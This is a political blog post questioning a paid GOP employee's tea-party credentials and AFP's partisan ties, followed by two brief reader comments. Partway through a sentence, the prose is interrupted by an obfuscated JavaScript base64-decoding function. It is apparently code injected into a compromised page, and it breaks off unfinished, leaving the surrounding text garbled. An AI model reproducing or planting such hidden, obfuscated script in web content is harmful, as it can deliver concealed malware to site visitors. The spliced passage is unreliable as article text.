A simple publication of an email which had been distributed publicly, a few questions about it, a rather swift expression of displeasure by a paid GOP employee, and our response to it has been generating a lot of interest by way of hits on our site, as we've previously reported. Also, we've now received a few additional comments, some emails, and reportedly, there has been some discussion elsewhere.
We are currently working on what we now believe is a necessary expansion of this subject. In the meantime, we'll be publishing a brief article "in honor of" Labor Day, later today. For now, we'll also share some of the interesting questions and thoughts that occurred to Norlyn after having read our articles and the comments, especially the one from Patrick Bonnett.
But first, a relevant cartoon.
What are Mr. Bonnett's thoughts on the Republican party leaderships' oft-stated intent to control, channel, absorb, redirect, steer, tame, sideline or otherwise nullify the influence of "our" tea-party candidates who have been elected to public office? I am sure since he is one of "us", somewhere in the public record he could direct us to his protestations against such efforts by his party leadership.
How would Mr. Bonnett recommend a grassroots organization (such as AFP proclaims itself) maintain it's integrity and credibility while at the same time receiving valuable public exposure from only one of the many political parties active in the nation, and while featuring prominently as speakers at its events, candidates and leaders from that same political party? In such a scenario, how might one avoid the appearance of a quid pro quo?
How has Mr. Bonnett, who implies he considers himself one of "we TEA party conservatives", so badly misunderstood the core principles and driving forces behind "his" tea party movement, that he can resort to the tired old argument advanced time and again by the leadership of both major parties that any action can be justified by its legality, without shame or embarrassment? It reminds me of Warren Buffet advocating for higher taxes for the rich so he will be forced to pay more. You don't need a law to compel you to do what you believe is right.
Does Mr. Bonnett not understand that legality is the lowest rung on the moral ladder, and that "we TEA party conservatives" have higher aspirations for ourselves, our leaders and our nation than to cling to that low rung as our justification and motivation for action?
I wonder if Mr. Bonnett is aware of the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
Assuming Mr. Bonnett, as a member of "we TEA party conservatives", agrees with the sentiments of the afore-mentioned article, what conclusions would he draw about the agenda of a "grassroots tea-party group" that both accepts from and renders aid to the leadership of one of those ruling class organizations, without explanation or apology?
Would Mr. Bonnett see such an organization as advocating primarily for the agenda of the ruling class, or primarily for the interests and concerns of "we the people"?
I thought this was the third in the series?
correction, lost my place